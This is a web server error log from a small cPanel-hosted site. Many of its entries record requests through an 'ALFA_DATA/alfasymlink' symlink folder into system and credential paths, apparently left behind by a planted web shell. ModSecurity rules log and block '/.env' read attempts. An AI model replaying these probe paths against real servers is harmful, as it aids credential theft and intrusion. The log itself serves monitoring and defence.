[Sun Oct 25 09:54:22.356778 2026] [security2:error] [pid 2834020:tid 2834020] [client 185.191.171.9:20476] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/module/libata/parameters/atapi_dmadir"] [unique_id "at4KDhus_mjnPB8X3pG-FwAAABI"]
[Sun Oct 25 09:54:23.710917 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 52.204.89.12:41201] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:54:27.671125 2026] [ssl:error] [pid 2834025:tid 2834025] (5)Input/output error: [client 44.205.192.249:24801] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:54:31.857751 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 3.213.85.234:21075] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:54:35.753784 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 3.220.148.166:51368] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:54:47.764565 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 184.72.84.154:8031] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:54:52.941417 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 52.4.229.9:40310] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:55:00.215875 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 100.29.63.24:37901] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:55:04.147277 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 3.216.227.216:6232] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:55:12.301384 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 184.73.167.217:37842] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/subsystem/wakeup0/device/physical_node/remove
[Sun Oct 25 09:55:15.880014 2026] [core:error] [pid 2842301:tid 2842301] (13)Permission denied: [client 52.202.233.37:35667] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:00/physical_node/driver/unbind
[Sun Oct 25 09:55:17.522020 2026] [core:error] [pid 2834020:tid 2834020] (13)Permission denied: [client 185.191.171.6:54068] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/alloc_calls
[Sun Oct 25 09:55:19.883641 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 44.207.252.58:15269] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:55:23.695791 2026] [core:error] [pid 2834008:tid 2834008] (13)Permission denied: [client 85.208.96.205:42904] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_file_cache/cpu_partial
[Sun Oct 25 09:55:23.935231 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 98.83.178.66:28767] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:55:27.768641 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 52.2.58.41:39572] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:55:32.315645 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 34.236.41.241:2484] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:55:35.907196 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 100.29.155.89:30246] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:55:37.343461 2026] [core:error] [pid 2842301:tid 2842301] (13)Permission denied: [client 185.191.171.12:23442] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/validate
[Sun Oct 25 09:55:39.793141 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 52.202.233.37:42036] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:55:41.837163 2026] [security2:error] [pid 2834008:tid 2834008] [client 136.108.238.150:58210] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/"] [unique_id "at4KXYxkYfnWL-SU_mhrPgAAAA0"]
[Sun Oct 25 09:55:41.837215 2026] [security2:error] [pid 2834008:tid 2834008] [client 136.108.238.150:58210] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/"] [unique_id "at4KXYxkYfnWL-SU_mhrPgAAAA0"]
[Sun Oct 25 09:55:43.941295 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 54.87.62.248:52187] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/LNXCPU:00/physical_node/crash_notes_size
[Sun Oct 25 09:55:47.734951 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 52.4.238.8:55397] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:55:56.040465 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.205.113.104:43054] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:56:03.701365 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 52.70.209.13:5984] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:56:20.931333 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 52.203.237.170:34185] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/console/subsystem/ttyS0/type
[Sun Oct 25 09:56:23.680784 2026] [security2:error] [pid 2834025:tid 2834025] [client 23.22.105.143:50731] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/firmware_node/physical_node/link/"] [unique_id "at4Kh6Gxe7V6jzF5H8VNMQAAABg"]
[Sun Oct 25 09:56:23.680835 2026] [security2:error] [pid 2834025:tid 2834025] [client 23.22.105.143:50731] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/firmware_node/physical_node/link/"] [unique_id "at4Kh6Gxe7V6jzF5H8VNMQAAABg"]
[Sun Oct 25 09:56:36.220523 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 85.208.96.203:60464] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:56:40.074487 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 100.29.128.75:44416] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:56:52.071766 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 44.215.210.112:36211] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:57:19.930880 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 35.171.141.42:27608] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:57:27.628530 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 184.73.239.35:22533] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:57:51.601058 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 54.225.148.123:24335] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:57:55.564317 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 52.71.216.196:25678] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:57:59.483711 2026] [core:error] [pid 2842301:tid 2842301] (13)Permission denied: [client 3.209.174.110:59913] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/cpu1/subsystem/uevent
[Sun Oct 25 09:58:07.806134 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 52.22.87.224:64171] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:58:15.497767 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 52.200.54.136:60672] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:58:35.427749 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 44.210.213.220:40913] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:58:39.599778 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 54.167.32.123:65381] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:58:55.574410 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.1.157.90:2004] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:58:58.702319 2026] [security2:error] [pid 2834008:tid 2834008] [client 130.12.180.176:30780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4LIoxkYfnWL-SU_mhrSAAAAA0"]
[Sun Oct 25 09:58:58.702631 2026] [security2:error] [pid 2834008:tid 2834008] [client 130.12.180.176:30780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4LIoxkYfnWL-SU_mhrSAAAAA0"]
[Sun Oct 25 09:58:58.702873 2026] [security2:error] [pid 2834008:tid 2834008] [client 130.12.180.176:30780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4LIoxkYfnWL-SU_mhrSAAAAA0"]
[Sun Oct 25 09:59:03.537801 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 54.164.106.236:51569] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:59:07.255788 2026] [ssl:error] [pid 2806348:tid 2806348] (5)Input/output error: [client 52.203.152.231:58665] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:59:16.433102 2026] [security2:error] [pid 2834019:tid 2834019] [client 216.244.66.250:53708] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/fsck.minix"] [unique_id "at4LNEsgp-xlBP1GcWOSKAAAABE"]
[Sun Oct 25 09:59:16.433157 2026] [security2:error] [pid 2834019:tid 2834019] [client 216.244.66.250:53708] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/fsck.minix"] [unique_id "at4LNEsgp-xlBP1GcWOSKAAAABE"]
[Sun Oct 25 09:59:19.211377 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 44.212.106.171:63088] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:59:19.318776 2026] [core:error] [pid 2834020:tid 2834020] (13)Permission denied: [client 85.208.96.206:53080] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fasync_cache/objects
[Sun Oct 25 09:59:21.595672 2026] [core:error] [pid 2842300:tid 2842300] (13)Permission denied: [client 185.191.171.17:50500] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-256/destroy_by_rcu
[Sun Oct 25 09:59:35.143672 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 44.214.19.8:46794] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:59:40.407523 2026] [security2:error] [pid 2834008:tid 2834008] [client 185.191.171.13:62552] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/chevereto/images/"] [unique_id "at4LTIxkYfnWL-SU_mhrSgAAAA0"]
[Sun Oct 25 09:59:40.407557 2026] [security2:error] [pid 2834008:tid 2834008] [client 185.191.171.13:62552] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/chevereto/images/"] [unique_id "at4LTIxkYfnWL-SU_mhrSgAAAA0"]
[Sun Oct 25 09:59:47.299797 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.223.232.55:26449] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:59:47.300023 2026] [security2:error] [pid 2806348:tid 2806348] [client 44.223.232.55:26449] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:14/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/power/runtime_status"] [unique_id "at4LUw-YVEbWS5meiuhlLgAAAAw"]
[Sun Oct 25 09:59:47.300056 2026] [security2:error] [pid 2806348:tid 2806348] [client 44.223.232.55:26449] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:14/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/power/runtime_status"] [unique_id "at4LUw-YVEbWS5meiuhlLgAAAAw"]
[Sun Oct 25 09:59:51.219005 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 18.215.24.66:61327] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:59:55.142666 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.194.139.149:59680] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:59:59.029505 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 44.210.213.220:15316] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:00:03.211224 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 23.23.99.55:49522] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:00:07.701088 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 54.225.81.20:47149] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:00:11.052920 2026] [core:error] [pid 2842300:tid 2842300] (13)Permission denied: [client 54.235.158.162:65362] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/resource4_wc
[Sun Oct 25 10:00:14.673470 2026] [security2:error] [pid 2834025:tid 2834025] [client 130.12.180.170:27874] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4LbqGxe7V6jzF5H8VNOwAAABg"]
[Sun Oct 25 10:00:14.673752 2026] [security2:error] [pid 2834025:tid 2834025] [client 130.12.180.170:27874] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4LbqGxe7V6jzF5H8VNOwAAABg"]
[Sun Oct 25 10:00:14.674038 2026] [security2:error] [pid 2834025:tid 2834025] [client 130.12.180.170:27874] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4LbqGxe7V6jzF5H8VNOwAAABg"]
[Sun Oct 25 10:00:14.850210 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 23.21.175.228:8338] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:00:19.109452 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 3.229.2.217:21360] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:00:22.722583 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 52.1.106.130:8357] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:00:26.707031 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 23.23.214.190:55342] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:00:34.998978 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 3.218.35.239:29155] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/thermal/unbind
[Sun Oct 25 10:00:37.850308 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 85.208.96.199:50922] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:00:42.614851 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 44.197.76.210:5645] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:00:53.835891 2026] [core:error] [pid 2834020:tid 2834020] (13)Permission denied: [client 185.191.171.6:42330] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-64/slab_size
[Sun Oct 25 10:00:58.329216 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 52.205.141.124:22118] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:01:02.368291 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 34.231.156.59:26559] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event0/subsystem/event1/device/device/driver/serio0/firmware_node/subsystem/devices/LNXCPU:01/physical_node/node0/compact
[Sun Oct 25 10:01:10.262471 2026] [ssl:error] [pid 2821699:tid 2821699] (5)Input/output error: [client 54.235.158.162:40337] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:01:12.436765 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 185.191.171.12:51200] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_ctx/cpu_slabs
[Sun Oct 25 10:01:14.421199 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.85.109.140:5165] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:01:18.201973 2026] [ssl:error] [pid 2842301:tid 2842301] (5)Input/output error: [client 23.21.175.228:27009] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:01:58.173419 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 44.212.106.171:11228] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/driver/uevent
[Sun Oct 25 10:02:02.179955 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 54.84.161.62:1652] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:02:10.225732 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 35.174.141.243:35469] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:02:11.201668 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 185.191.171.9:58932] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/sanity_checks
[Sun Oct 25 10:02:14.175410 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.21.62.139:54648] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:02:22.183888 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 185.191.171.12:42734] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/crypttab
[Sun Oct 25 10:02:22.225089 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 34.196.237.236:62370] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:02:26.202331 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 52.70.209.13:57789] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:02:30.161744 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 34.203.111.15:19430] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:02:34.448019 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 18.213.240.226:18614] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:02:42.175960 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 54.225.98.148:25408] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/cirrus/bind
[Sun Oct 25 10:02:50.366782 2026] [core:error] [pid 2842300:tid 2842300] (13)Permission denied: [client 34.196.114.170:59790] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.2/resource4
[Sun Oct 25 10:02:54.330240 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.213.36.21:25970] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:03:05.933750 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 85.208.96.208:55740] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/usersize
[Sun Oct 25 10:03:14.292463 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 18.213.240.226:56659] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:03:30.161525 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 34.231.181.240:40511] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:03:38.248197 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 98.84.70.201:34111] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:03:42.358368 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 52.45.92.83:52227] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:03:50.315441 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 54.156.55.147:53410] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:03:54.177405 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 54.145.82.217:64781] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:03:58.170688 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.221.222.168:44323] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:04:19.538769 2026] [core:error] [pid 2842300:tid 2842300] (13)Permission denied: [client 185.191.171.3:11410] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dquot/align
[Sun Oct 25 10:04:22.163006 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 18.213.240.226:3115] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:04:38.400009 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 184.73.68.20:15530] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:04:55.306740 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 185.191.171.8:64674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kioctx/reclaim_account
[Sun Oct 25 10:04:56.812812 2026] [security2:error] [pid 2806348:tid 2806348] [client 185.191.171.1:57532] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/VIA686A.conf"] [unique_id "at4MiA-YVEbWS5meiuhlOQAAAAw"]
